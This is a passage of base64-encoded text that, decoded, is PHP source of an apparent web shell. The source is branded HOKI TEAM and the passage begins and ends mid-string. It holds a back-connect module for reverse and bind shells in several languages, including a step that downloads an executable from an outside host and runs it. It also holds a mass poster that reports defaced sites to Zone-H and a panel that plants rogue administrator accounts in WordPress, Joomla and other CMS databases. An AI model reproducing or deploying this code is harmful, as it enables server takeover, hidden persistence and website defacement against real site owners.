3N05HRGJIYmFSWUZjQ3hTRVU4a2Myb2syUkowaVZaUmlKc1lUNE40YUxSaDQ2T1gzK0tTK0FUVmFUcGZvRDFNcUl2RDA3VG44ay9YeDdjLy9QMFlyLzc1R28zNmRmcEc2NWdBcUxqRVZGUEI2dnNHWm1lUEI5OEFQRWRoSTJUa0c0ZFdRMU5aVHlrRk
dvSHBIRXRHRmVZMkRaZ1dVQlo0aDZtRmVkQUZlUVpKeFkzZ2duajlza3NIU2l2bE84RlhsampsSm9xc0NVaG5BUEYwdm9aZHdpYzE1VlErT1RsOGJ2MFhJR1lIZ3crN0tkaHRqdjQrMFYyR0I1NHZSWWUyRHNrQzN5ZjRleXY3TjdkSEdlSGRudm9kd
ElkbTFjMDl3YW1zWXV1Mi9UbVBTWXhpZmJJSVZsQ3pRcmRhVnpxMkNlZ2xoTXlTd3laQkF4Q1ZPS1pxRXp5cFdsR3ppQVQvZDFrQmUrclU4YTBxS1oxbWhLeUF2RXdZNGZtT1A0allXc2hacFZwNmUrT1JpYXNHNGFSTTd6eFJIdDFjejAvVkZYaVI3
OVRSaHZSenNlOFFMY2dYekNodld2TE53SE5aZDZrMjY0akN3MzFaY3BtdlJ2THRDNXBWNmV0RTdvTi9wK21CUnROdlhrZjExVU52Rk4yaVNEUnhTV3JMbHZ6ckRKc2srOFJQWmQ3Szc2dWdtM0QvbDIyK0wxOUZpQnBjMzN2TmZuTjZRVzRiTVIxQmp
LbVpiV1FrVXc1SzRQV2x1dmhFckU5dEFTNWdkaTBvMVZxTzlEU0lyWGY5azgxeDVvQytvQWM0VHJHc3o4ZWp2RjJMb29yeTNwSWJzRnh5QkVjUWt2VWhoQWFhNzYwaklhTXUvK2J5RkNiMlR6bzFRdWxsUzFoU1VkWVdvSnVJU2tiUDFyRFRNakxGNm
5JeXRCbTRrSHRvVFUwZzlyRGk0emloVXZrNFVTMmQzYmRtTEN0eTI5TXNEbUtkcEJYM1M1ci9vMXo4TWgxMHltM25NNGxwMzUzbS84enNIYmdrSjgyRTZXYk0vMWtKd3o1OFhLVFo4Rkc4Z3M9IjsKJG5vZGU9Im5WSExhc013RUR3cmtIOFF2bGlDb
0VEVFc4aWg5QlBTVy9wQXRkZVJRSlpjU1hZS0lmbjJ5cktkNXRHV1loK0VkMmQyTkR0cXVNV3U0anVOVjlqQ1J5MHRrRFFUVXVWdmxUVVpPSmRTRmduTDZhUUpaQTMrbkJyS2xQYVE4eFo0ZVk1Mm5STWhNOW9aQlJkWGRhMUk2VlVFS0JVbzZmeGQ2
cmtUYVVCa1FYbzNyRkxjRjhhV3JPUStFMlQrdWdzc1NlbjNYRmJtREQ0aFBTbHl1MjBDTUNpMFphZlovakVGZXV2RmFyV2crK2tFdFh3UnlHRXZsZ1h6SHRaZ0c3Q2txSFhtcGRIRVJSNXliR2VsQjVJYzhZTXFPSDVxVjE5SEQ4ZG5uYlQ3NFA3cnR
ncWlNVWNTalo3alRqRG5jNm1aQlZlWFFPZzFaR3JQd3MxSnpqMVBab01UVE5xYTdnY25zVm9lYnBYQjJwSGpmNDBOcG0rbVVYY0twcVR6b0dQS203dVh0bm1ZVGtBNXdOZlozNSt5ZHhmWlB4cXRvWXU5VjVuRjE5d3NvdHgvSGdIOWxqNzZJWFkwTW
04ME1tZzBMdUhERnc9PSI7CiRjPSJ0Vkp0Yjlvd0VQN2NTdjBQSHAxYXAvV0FzTzBUVGFXb1pCTGFDaEhKTkUwYmlsTEhOS2NaRzhWbWdrN3JiOThsQkFyWmkvYWxVcXpjUGZmNDduelBuWUxpY3BrSmNtVnNCcnFkWDU4Y24rNWhCYWo3MzhCTXdsM
FRYSnVPWFMrRStRTnVOUDhtYkNPZ2hBVThIVkNOd0ZJQlZxaEFVSmJNVTFDME5OTGluak9lcHdXNVFQUDdsNm56NCtUNHFJd1l4cG4yM0Q2NjJQQ1NJNElWMHl3ckVsQUVTaHhtdEx6dmViM3ExaEcwRGFoa2xzNUJyajMvWFRJY0JYSC9LYkRRaGZW
eXE1V2hxZFZBcTRMdTFISDJPR1grdHFsK0ZWWFM0Y2dmRENhSlAvcTg0Umx2ODNKYUYyRFIrT1o5RXNXVHdMOWwzWm9qYkVuU0Mwc054ajhrSmFlaUpwUGdZeFNVR2RtWlpnWWVoSjVSdlcxaFJsOFlSNnpBMGpyUkhhZ01VOURHQk1pRmN3YXN1M0p
ybXNUaENvWEV0eHVmZXlubm9xcmVmZW9KVTNIV2VpUytuS1VrRnVtY1JMbVFrangrVlMzV2U3TWxac3RGRDRtSG5udmc5ZXFVYXl3N3B5MnhLa2RMNG1CeTY2MnNLT2I5TUhLOTg1ZmhwOEgxZWIrT0lvU200S1NEaitxWW5MeUNWdDJ0MUVaUVhqay
84UWhwQk5scCsvcFp0QzIzdExJMnpONjBudmVES1BRV1lqaDFpV1BkTWk3ZHkzMWtsLzJmR3pFTXc4azRIaWZ4VGJnVG1YS3RsT0QycjhyV2U5R0lPWTV6MVQxWWowcFQ4NythbW9ibkhualBvYW5aYW9yZkx3PT0iOwokamF2YT0ibFZSTmI5c3dER
DJuUVArRDRKTTlCRzZUMDRiQ3d6Nnd3NEFCSFpiZXVod1VoYkcxMnJJZzBYR0NOUHZ0b3o3c3Vtc3ZQZGlXeUNmeThaR3liSFJya1AzaGU1N0xObjkzYzNraEp5WUY2RzJYRjdyYjFGSXdVWE5yR2E5My9BNTRjN3E4bUdrajl4eUJXZVJJZ0oxVXZJ
NHdqUXdPQ0dwcjJWMWxnRzhkZmp6d1hla09WMGoyaGtsN00zWGRkdmprYXp2MERNZ2RPR2hNbjUrZHZ6aVFuYkNTTnBlMm9NaCtTY2JDUlRxSFVKOXU5MkNNM01JazdyNlZXMlk2bFdhZTV3ek5NU3htbXlQQy9acHRXTUVVOU14djN5OCtMTmMzd1M
4Vk1rRk95dVBLVERkWmRQU1ZyQ0VWSDR2cmpNVllNMktSOTBZaXBKdjU5VndNVUcvZjFaMnQwdEgwYXN5ei80UzM0Q2lxOU50QmdFYlpLZ2JaQ1hKU1VaRVdYRHpjR1M2QXdubXdlNFhxWTcyeFk3N3Noa3VWa241U2xWUW9ONlVOSXJqSzNEajQzTU
hQUkxNbFhzblZScW9yV3lYZUpYZnA2bWdSbXJ3RS9HbGFEUWFQYWRMYVhQRUdraXpIOWtmYmcvbktMUkhLcGRyQzRYYVhKcjFVU2Via09jV285RWtDMzVpdGQ5YS83RE9OSEhNengxWVYxRFg3KzF1RnpKUGU5Qzc1RjlyYktPR3FGUStBcklwOUM5d
m9HN3RMMUYyOWVRMnF4S29vRnJIOU0zOE5DcHBUaEJKTXJybXhRQnVQdnI5ZUQvMVlnYUZaaXFuc2tHcGlURjJnQWUyNDJKd0wxN0doMGFHWFVGdGcvNU5adnBWTUVFMXF3bnJYWWoxSlBCRkI2am1iOERxL0xnVjdmR1N2ODVuZXdGSzZzaXVuL3NR
OGp2R3p5MW0ySTNacUg4SGtIMjdIWUtKeEV1QitKM1R3VjZkUU51Q094eVZORXh4QXBEUTRXZnhQa0ZvMHRZdFlNT21zWDFDYk95SkRBb2RlUHFGTDkwZlJMeG1POEVWT1Y4ZTQ5dW5sdUh5UzBiL2VjRFBwT2Y4RCI7CmVjaG8gIjxkaXYgY2xhc3M
9aGVhZGVyPjxjZW50ZXI+PGJyPjxkaXYgY2xhc3M9J3R4dGZvbnRfaGVhZGVyJz58IEJhY2sgQ29ubmVjdCB8PC9kaXY+PGJyPjxicj4iOwplY2hvICI8Zm9ybSBvblN1Ym1pdD1cImcoJ2Nvbm5lY3QnLG51bGwsdGhpcy5zZWxlY3RDYi52YWx1ZS
x0aGlzLnNlcnZlci52YWx1ZSx0aGlzLnBvcnQudmFsdWUsdGhpcy5jYm1ldGhvZC52YWx1ZSk7cmV0dXJuIGZhbHNlO1wiPgo8ZGl2IGNsYXNzPVwidHh0Zm9udFwiPk1laHRvZDo8L2Rpdj4gPHNlbGVjdCBuYW1lPSdjYm1ldGhvZCcgb25DaGFuZ
2U9J2N0bGJjKHRoaXMpOycgc3R5bGU9J3dpZHRoOjEyMHB4Oyc+PG9wdGlvbiB2YWx1ZT0nYmFjayc+UmV2ZXJzZSBTaGVsbDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J2JpbmQnPkJpbmQgUG9ydDwvb3B0aW9uPjwvc2VsZWN0PiA8ZGl2IGNsYXNz
PVwidHh0Zm9udFwiPlVzZTo8L2Rpdj4gPHNlbGVjdCBuYW1lPSdzZWxlY3RDYic+IjsKJGNiQXJyID0gYXJyYXkoInBocCI9PiJQaHAiLCJwZXJsIj0+IlBlcmwiLCJweXRob24iPT4iUHl0aG9uIiwicnVieSI9PiJSdWJ5IiwiYyI9PiJDIiwiamF
2YSI9PiJKYXZhIiwibm9kZSI9PiJOb2RlSnMiLCJiY3dpbiI9PiJXaW5kb3dzIik7CmZvcmVhY2goJGNiQXJyIGFzICRrZXk9PiR2YWwpe2VjaG8oIjxvcHRpb24gdmFsdWU9J3ska2V5fScgIi4oJEdMT0JBTFNbJ3N5cyddPT0nd2luJz8nc2VsZW
N0ZWQnOicnKS4iPnskdmFsfTwvb3B0aW9uPiIpO30KZWNobyAiPC9zZWxlY3Q+IDxkaXYgaWQ9J2JjaXBBY3Rpb24nIHN0eWxlPSdkaXNwbGF5OmlubGluZS1ibG9jazsnPjxkaXYgY2xhc3M9XCJ0eHRmb250XCI+SVA6PC9kaXY+IDxpbnB1dCB0e
XBlPSd0ZXh0JyBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7JyBuYW1lPSdzZXJ2ZXInIHZhbHVlPSciLiAkX1NFUlZFUlsnUkVNT1RFX0FERFInXSAuIic+PC9kaXY+IDxkaXYgY2xhc3M9XCJ0eHRmb250XCI+UG9ydDogPC9kaXY+IDxpbnB1dCB0
eXBlPSd0ZXh0JyBzaXplPSc1JyBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7JyBuYW1lPSdwb3J0JyB2YWx1ZT0nMjAxMic+IDxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPScgJz48L2Zvcm0+PHA+PGRpdiBpZD0nYmNTdGF0dXMnPjxzbWFsbD5
SdW4gYCA8Zm9udCBjb2xvcj0ncmVkJz5uYyAtbCAtdiAtcCBwb3J0PC9mb250PiBgIG9uIHlvdXIgY29tcHV0ZXIgYW5kIHByZXNzIGAgPGZvbnQgY29sb3I9J3JlZCc+Pj48L2ZvbnQ+IGAgYnV0dG9uPC9zbWFsbD48L2Rpdj48L3A+PC9jZW50ZX
I+PC9iPjwvZm9udD48YnI+IjsKaWYoaXNzZXQoJF9QT1NUWydob2tpMSddKSYmIWVtcHR5KCRfUE9TVFsnaG9raTEnXSkpewokbGFuZyA9ICRfUE9TVFsnaG9raTEnXTsKJGlwID0gJF9QT1NUWydob2tpMiddOwokcG9ydCA9ICRfUE9TVFsnaG9ra
TMnXTsKJGFyZyA9ICgkX1BPU1RbJ2hva2k0J109PSdiaW5kJz8kcG9ydDokcG9ydC4nICcuJGlwKTsKJHRtcGRpciA9IEhPS0lfVEVNUERJUjsKJG5hbWUgPSAkdG1wZGlyLicvJy4kbGFuZy51bmlxaWQoKS5yYW5kKDEsOTk5OTkpOwokYWxsb3cg
PSBhcnJheSgncGVybCcsJ3J1YnknLCdweXRob24nLCdub2RlJyk7CmV2YWwoJyRsYW49JCcuJGxhbmcuJzsnKTsKaWYoaW5fYXJyYXkoJGxhbmcsJGFsbG93KSl7CmlmKF9fd3JpdGVfZmlsZSgkbmFtZSxfX2dldF9yZXNvdXJjZSgkbGFuKSkpewp
pZihfaG9raV9jYW5fcnVuQ29tbWFuZCh0cnVlLHRydWUpKXsKJG9zID0gKCRHTE9CQUxTWydzeXMnXSE9J3dpbicpPycxPi9kZXYvbnVsbCAyPiYxICYnOicnOwokb3V0ID0gaG9raUV4KCIkbGFuZyAkbmFtZSAkYXJnICRvcyIpOwppZigkb3V0PT
0nJyl7JG91dD0iPGZvbnQgY29sb3I9J2dyZWVuJz48Y2VudGVyPlsgRmluaXNoZWQuLi4hIF08L2NlbnRlcj48L2ZvbnQ+Ijt9CmVjaG8oIjxwcmUgY2xhc3M9J21sMScgc3R5bGU9J21hcmdpbi10b3A6NXB4Jz57JG91dH08L3ByZT4iKTsKfQp9Z
WxzZXsKZWNobygiPHByZSBjbGFzcz1tbDEgc3R5bGU9J21hcmdpbi10b3A6NXB4Jz48Zm9udCBjb2xvcj0ncmVkJz48Y2VudGVyPlsgRmFpbGVkLi4uISBdPC9jZW50ZXI+PC9mb250PjwvcHJlPiIpOwp9Cn0KaWYoJGxhbmc9PSdqYXZhJ3x8JGxh
bmc9PSdjJyl7CiRjb2RlID0gX19nZXRfcmVzb3VyY2UoJGxhbik7CiRvdXQgPSBubDJicihiY2luaXQoJGxhbmcsICRjb2RlLCcnLCcnKSk7CmVjaG8oIjxwcmUgY2xhc3M9bWwxIHN0eWxlPSdtYXJnaW4tdG9wOjVweCc+PGNlbnRlcj57JG91dH0
8L2NlbnRlcj48L3ByZT4iKTsKfQppZigkbGFuZz09J2Jjd2luJyl7CiRob2tpID0gbmV3IEhva2lDVVJMKCk7CiRzID0gJGhva2ktPlNlbmQoJ2h0dHA6Ly9zb2xldmlzaWJsZS5jb20vYmMvd2luZG93cy5leGUnKTsKJHRtcGRpciA9IEhPS0lfVE
VNUERJUjsKJGYgPSBAZm9wZW4oJHRtcGRpci4nL2Jjd2luLmV4ZScsJ3crJyk7CkBmd3JpdGUoJGYsICRzKTsKQGZjbG9zZSgkZik7CiRvdXQgPSBob2tpRXgoJHRtcGRpci4iL2Jjd2luLmV4ZSAiLiRfUE9TVFsnaG9raTInXS4iICIuJF9QT1NUW
ydob2tpMyddKTsKfQppZigkbGFuZz09J3BocCcpewplY2hvICI8cHJlIGNsYXNzPW1sMSBzdHlsZT0nbWFyZ2luLXRvcDo1cHgnPiI7CiRjb2RlID0gX19nZXRfcmVzb3VyY2UoJGxhbik7CmlmKCRjb2RlIT09ZmFsc2UpewokY29kZSA9ICJcJHRh
cmdldCA9IFwiIi4kYXJnLiJcIjtcbiIuJGNvZGU7CmV2YWwoJGNvZGUpOwplY2hvKCI8Y2VudGVyPjxmb250IGNvbG9yPSdncmVlbic+WyBGaW5pc2hlZC4uLiEgXTwvZm9udD48L2NlbnRlcj4iKTsKfQplY2hvICI8L3ByZT4iOwp9Cn0KZWNobyA
iPC9kaXY+IjsKaG9raWZvb3RlcigpOwp9CmZ1bmN0aW9uIGhva2l6b25laCgpewpob2tpaGVhZCgpOwplY2hvICc8ZGl2IGNsYXNzPWhlYWRlcj4nOwppZighZnVuY3Rpb25fZXhpc3RzKCdjdXJsX3ZlcnNpb24nKSl7CmVjaG8gIjxwcmUgY2xhc3
M9bWwxIHN0eWxlPSdtYXJnaW4tdG9wOjVweCc+PGNlbnRlcj48Zm9udCBjb2xvcj1yZWQ+PGI+PGJpZz48YmlnPlBIUCBDVVJMIE5PVCBFWElTVCB+IFpPTkUgSCBNQVNTIFBPU1RFUiBET0VTIE5PVCBXT1JLPC9iPjwvZm9udD48L2JpZz48L2JpZ
z48L2NlbnRlcj48L3ByZT4iOwp9CiRoYWNrbW9kZSA9IGFycmF5KCdrbm93biB2dWxuZXJhYmlsaXR5IChpLmUuIHVucGF0Y2hlZCBzeXN0ZW0pJywndW5kaXNjbG9zZWQgKG5ldykgdnVsbmVyYWJpbGl0eScsJ2NvbmZpZ3VyYXRpb24gLyBhZG1p
bi4gbWlzdGFrZScsJ2JydXRlIGZvcmNlIGF0dGFjaycsJ3NvY2lhbCBlbmdpbmVlcmluZycsJ1dlYiBTZXJ2ZXIgaW50cnVzaW9uJywnV2ViIFNlcnZlciBleHRlcm5hbCBtb2R1bGUgaW50cnVzaW9uJywnTWFpbCBTZXJ2ZXIgaW50cnVzaW9uJyw
nRlRQIFNlcnZlciBpbnRydXNpb24nLCdTU0ggU2VydmVyIGludHJ1c2lvbicsJ1RlbG5ldCBTZXJ2ZXIgaW50cnVzaW9uJywnUlBDIFNlcnZlciBpbnRydXNpb24nLCdTaGFyZXMgbWlzY29uZmlndXJhdGlvbicsJ090aGVyIFNlcnZlciBpbnRydX
Npb24nLCdTUUwgSW5qZWN0aW9uJywnVVJMIFBvaXNvbmluZycsJ0ZpbGUgSW5jbHVzaW9uJywnT3RoZXIgV2ViIEFwcGxpY2F0aW9uIGJ1ZycsJ1JlbW90ZSBhZG1pbmlzdHJhdGl2ZSBwYW5lbCBhY2Nlc3MgYnJ1dGVmb3JjaW5nJywnUmVtb3RlI
GFkbWluaXN0cmF0aXZlIHBhbmVsIGFjY2VzcyBwYXNzd29yZCBndWVzc2luZycsJ1JlbW90ZSBhZG1pbmlzdHJhdGl2ZSBwYW5lbCBhY2Nlc3Mgc29jaWFsIGVuZ2luZWVyaW5nJywnQXR0YWNrIGFnYWluc3QgYWRtaW5pc3RyYXRvcihwYXNzd29y
ZCBzdGVhbGluZy9zbmlmZmluZyknLCdBY2Nlc3MgY3JlZGVudGlhbHMgdGhyb3VnaCBNYW4gSW4gdGhlIE1pZGRsZSBhdHRhY2snLCdSZW1vdGUgc2VydmljZSBwYXNzd29yZCBndWVzc2luZycsJ1JlbW90ZSBzZXJ2aWNlIHBhc3N3b3JkIGJydXR
lZm9yY2UnLCdSZXJvdXRpbmcgYWZ0ZXIgYXR0YWNraW5nIHRoZSBGaXJld2FsbCcsJ1Jlcm91dGluZyBhZnRlciBhdHRhY2tpbmcgdGhlIFJvdXRlcicsJ0ROUyBhdHRhY2sgdGhyb3VnaCBzb2NpYWwgZW5naW5lZXJpbmcnLCdETlMgYXR0YWNrIH
Rocm91Z2ggY2FjaGUgcG9pc29uaW5nJywnTm90IGF2YWlsYWJsZScsJ0Nyb3NzLVNpdGUgU2NyaXB0aW5nJyk7CiRyZWFzb24gPSBhcnJheSgnSGVoLi4uanVzdCBmb3IgZnVuIScsJ1JldmVuZ2UgYWdhaW5zdCB0aGF0IHdlYnNpdGUnLCdQb2xpd
GljYWwgcmVhc29ucycsJ0FzIGEgY2hhbGxlbmdlJywnSSBqdXN0IHdhbnQgdG8gYmUgdGhlIGJlc3QgZGVmYWNlcicsJ1BhdHJpb3Rpc20nLCdOb3QgYXZhaWxhYmxlJyk7CmVjaG8gJwo8Y2VudGVyPjxicj48ZGl2IGNsYXNzPSJ0eHRmb250X2hl
YWRlciI+fCBab25lLWggTWFzcyBQb3N0ZXIgfDwvZGl2PjxjZW50ZXI+PGJyPgo8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0IiBvbnN1Ym1pdD0iZyhcJ3pvbmVoXCcsbnVsbCx0aGlzLmRlZmFjZXIudmFsdWUsdGhpcy5oYWNrbW9kZS52YWx
1ZSx0aGlzLnJlYXNvbi52YWx1ZSx0aGlzLmRvbWFpbi52YWx1ZSxcJz4+XCcpOyByZXR1cm4gZmFsc2U7Ij4KPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImRlZmFjZXIiIHNpemU9IjY3IiBpZD0idGV4dCIgcGxhY2Vob2xkZXI9IkhPS0kgVEVhTS
AyMDEyIiAvPgo8YnI+CjxzZWxlY3QgaWQ9InRleHQiIG5hbWU9ImhhY2ttb2RlIiBzdHlsZT0id2lkdGg6NDAwcHg7Ij4nOwokeD0xOwpmb3JlYWNoKCRoYWNrbW9kZSBhcyAkbW9kZSl7ZWNobygnPG9wdGlvbiBzdHlsZT0iYmFja2dyb3VuZC1jb
2xvcjogcmdiKEYsIEYsIEYpOyIgdmFsdWU9IicuJHguJyI+Jy4kbW9kZS4nPC9vcHRpb24+Jyk7JHgrKzt9CmVjaG8gJzwvc2VsZWN0Pjxicj48c2VsZWN0IGlkPSJ0ZXh0IiBuYW1lPSJyZWFzb24iIHN0eWxlPSJ3aWR0aDoyMDBweDsiPic7CiR4
PTE7CmZvcmVhY2goJHJlYXNvbiBhcyAkbW9kZSl7ZWNobygnPG9wdGlvbiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogcmdiKEYsIEYsIEYpOyIgdmFsdWU9IicuJHguJyI+Jy4kbW9kZS4nPC9vcHRpb24+Jyk7JHgrKzt9CmVjaG8gJzwvc2VsZWN
0Pjxicj4KPHRleHRhcmVhIG5hbWU9ImRvbWFpbiIgY29scz0iOTAiIHJvd3M9IjIwIiBwbGFjZWhvbGRlcj0iRG9tYWlucy4uLiI+PC90ZXh0YXJlYT48YnI+CjxwPjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSIgIiBuYW1lPSJnbyIgLz48L3
A+CjwvZm9ybT48L2NlbnRlcj4nOwppZigkX1BPU1RbJ2hva2k1J10gJiYgJF9QT1NUWydob2tpNSddID09ICc+PicpewpvYl9zdGFydCgpOwokaGFja2VyID0gJF9QT1NUWydob2tpMSddOwokbWV0aG9kID0gJF9QT1NUWydob2tpMiddOwokbmVkZ
W4gPSAkX1BPU1RbJ2hva2kzJ107CiRzaXRlID0gJF9QT1NUWydob2tpNCddOwppZihlbXB0eSgkaGFja2VyKSl7CmRpZSAoX19wcmUoKS4iPGNlbnRlcj48Yj48Zm9udCBjb2xvciA9XCIjRkYwMDAwXCI+WytdIFlPVSBNVVNUIEZJTEwgVEhFIEFU
VEFDS0VSIE5BTUUgWytdPC9mb250PjwvYj48L2NlbnRlcj4iKTsKfWVsc2VpZigkbWV0aG9kID09ICItLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1TRUxFQ1QtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIil
7CmRpZShfX3ByZSgpLiI8Y2VudGVyPjxiPjxmb250IGNvbG9yID1cIiNGRjAwMDBcIj5bK10gWU9VIE1VU1QgU0VMRUNUIFRIRSBNRVRIT0QgWytdPC9iPjwvZm9udD48L2NlbnRlcj4iKTsKfWVsc2VpZigkbmVkZW4gPT0gIi0tLS0tLS0tLS0tLS
0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVNFTEVDVC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0iKXsKZGllKF9fcHJlKCkuIjxjZW50ZXI+PGI+PGZvbnQgY29sb3IgPVwiI0ZGMDAwMFwiPlsrXSBZT1UgTVVTVCBTRUxFQ1QgV
EhFIFJFQVNPTiBbK108L2I+PC9mb250PjwvY2VudGVyPiIpOwp9ZWxzZWlmKGVtcHR5KCRzaXRlKSl7CmRpZShfX3ByZSgpLiI8Y2VudGVyPjxiPjxmb250IGNvbG9yID1cIiNGRjAwMDBcIj5bK10gWU9VIE1VU1QgSU5URVIgVEhFIFNJVEVTIExJ
U1QgWytdPGZvbnQ+PC9iPjwvY2VudGVyPiIpOwp9CiRpID0gMDsKJHNpdGVzID0gZXhwbG9kZSgiXG4iLCAkc2l0ZSk7CiRob2tpID0gbmV3IEhva2lDVVJMKCk7CndoaWxlKCRpIDwgY291bnQoJHNpdGVzKSl7CmlmKHN1YnN0cigkc2l0ZXNbJGl
dLCAwLCA0KSAhPSAiaHR0cCIpewokc2l0ZXNbJGldID0gImh0dHA6Ly8iLiRzaXRlc1skaV07Cn0KJGhva2ktPlNlbmQoImh0dHA6Ly93d3cuem9uZS1oLmNvbS9ub3RpZnkvc2luZ2xlIiwicG9zdCIsImRlZmFjZXI9Ii4kaGFja2VyLiImZG9tYW
luMT0iLiAkc2l0ZXNbJGldLiImaGFja21vZGU9Ii4kbWV0aG9kLiImcmVhc29uPSIuJG5lZGVuKTsKKyskaTsKfQplY2hvIF9fcHJlKCkuIjxjZW50ZXI+PGZvbnQgY29sb3IgPVwiIzAwQTIyMFwiPjxiPlsrXSBTZW5kaW5nIFNpdGVzIFRvIFpvb
mUtSCBIYXMgQmVlbiBDb21wbGV0ZWQgU3VjY2Vzc2Z1bGx5ICEhIVsrXTwvYj48Zm9udD48L2NlbnRlcj4iOwp9CmVjaG8gIjwvZGl2PiI7Cmhva2lmb290ZXIoKTsKfQpmdW5jdGlvbiBob2tpcHdjaGFuZ2VyKCl7Cmhva2loZWFkKCk7CgplY2hv
ICc8ZGl2IGNsYXNzPWhlYWRlcj48Y2VudGVyPjxicj48ZGl2IGNsYXNzPSJ0eHRmb250X2hlYWRlciI+fCBBZGQgTmV3IEFkbWluIHw8L2Rpdj4KPGNlbnRlcj48aDM+JzsKJHZhbHMgPSBhcnJheSgnV29yZFByZXNzJyA9PiBhcnJheSgnd3AnLDI
pLCdKb29tbGEnID0+IGFycmF5KCdqb29tbGEnLDMpLCd2QnVsbGV0aW4nID0+IGFycmF5KCd2YicsNSksJ3BocEJCJyA9PiBhcnJheSgncGhwYmInLDYpLCdXSE1DUycgPT4gYXJyYXkoJ3dobWNzJyw3KSwnTXlCQicgPT4gYXJyYXkoJ215YmInLD
gpLCdQaHAgTnVrZScgPT4gYXJyYXkoJ251a2UnLDkpLCdEcnVwYWwnID0+IGFycmF5KCdkcnVwYWwnLDEwKSwnU01GJyA9PiBhcnJheSgnc21mJywxMSkpOwpIb2tpX0NyZWF0ZV9BX1RhZygncHdjaGFuZ2VyJywkdmFscyk7CmVjaG8gJzwvaDM+P
C9jZW50ZXI+JzsKaWYoaXNzZXQoJF9QT1NUWydob2tpMSddKSYmJF9QT1NUWydob2tpMSddPT0nd3AnKXsKCmVjaG8gX19wcmUoKS4nPGNlbnRlcj48Y2VudGVyPjxkaXYgY2xhc3M9InR4dGZvbnRfaGVhZGVyIj58IFdvcmRQcmVzcyB8PC9kaXY+
CjxwPicuZ2V0Q29uZmlnSHRtbCgnd3AnKS4nPC9wPjxmb3JtIG9uU3VibWl0PSJnKFwncHdjaGFuZ2VyXCcsbnVsbCxcJ3dwXCcsXCc+PlwnLHRoaXMubG9jYWxob3N0LnZhbHVlLHRoaXMuZGF0YWJhc2UudmFsdWUsdGhpcy51c2VybmFtZS52YWx
1ZSx0aGlzLnBhc3N3b3JkLnZhbHVlLG51bGwsdGhpcy5hZG1pbi52YWx1ZSx0aGlzLmVtYWlsLnZhbHVlLHRoaXMucHJlZml4LnZhbHVlKTtyZXR1cm4gZmFsc2U7IiBtZXRob2Q9IlBPU1QiPic7CiR0YWJsZSA9IGFycmF5KCd0ZDEnID0+CiBhcn
JheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnTXlzcWwgSG9zdCcsJ2lkJz0+J2RiX2hvc3QnLCAnaW5wdXROYW1lJyA9PiAnbG9jYWxob3N0JywgJ2lucHV0VmFsdWUnID0+ICdsb2NhbGhvc3QnLCAnaW5wdXRTaXplJyA9PiAnN
TAnKSwKICd0ZDInID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgTmFtZScsICdpZCc9PidkYl9uYW1lJywnaW5wdXROYW1lJyA9PiAnZGF0YWJhc2UnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUn
ID0+ICc1MCcpLAogJ3RkMycgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdEYiBVc2VyJywgJ2lkJz0+J2RiX3VzZXInLCdpbnB1dE5hbWUnID0+ICd1c2VybmFtZScsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV
0U2l6ZScgPT4gJzUwJyksCiAndGQ0JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RiIFBhc3MnLCAnaWQnPT4nZGJfcHcnLCdpbnB1dE5hbWUnID0+ICdwYXNzd29yZCcsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2
lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQ1JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ1RhYmxlIFByZWZpeCcsICdpZCc9PidkYl9wcmVmaXgnLCdpbnB1dE5hbWUnID0+ICdwcmVmaXgnLCAnaW5wdXRWYWx1Z
ScgPT4gJ3dwXycsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkNicgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGMDAwMCcsICd0ZE5hbWUnID0+ICdBZG1pbiBVc2VyJywgJ2lucHV0TmFtZScgPT4gJ2FkbWluJywgJ2lucHV0VmFsdWUnID0+ICdh
ZG1pbicsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkNycgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGMDAwMCcsICd0ZE5hbWUnID0+ICdBZG1pbiBQYXNzJywgJ2lucHV0TmFtZScgPT4gJ2toJywgJ2lucHV0VmFsdWUnID0+ICdraXNlcnlvdW5
pJywgJ2lucHV0U2l6ZScgPT4gJzUwJywgJ2Rpc2FibGVkJyA9PiB0cnVlKSwKICd0ZDgnID0+CiBhcnJheSgnY29sb3InID0+ICdGRjAwMDAnLCAndGROYW1lJyA9PiAnQWRtaW4gRW1haWwnLCAnaW5wdXROYW1lJyA9PiAnZW1haWwnLCAnaW5wdX
RWYWx1ZScgPT4gJ2tpc2VyeW91bmlAZmJpLmdvdicsICdpbnB1dFNpemUnID0+ICc1MCcpCik7CmNyZWF0ZV90YWJsZSgkdGFibGUpOwplY2hvICc8cD48aW5wdXQgdmFsdWU9IiAiIG5hbWU9InNlbmQiIHR5cGU9InN1Ym1pdCI+PC9wPjwvZm9yb
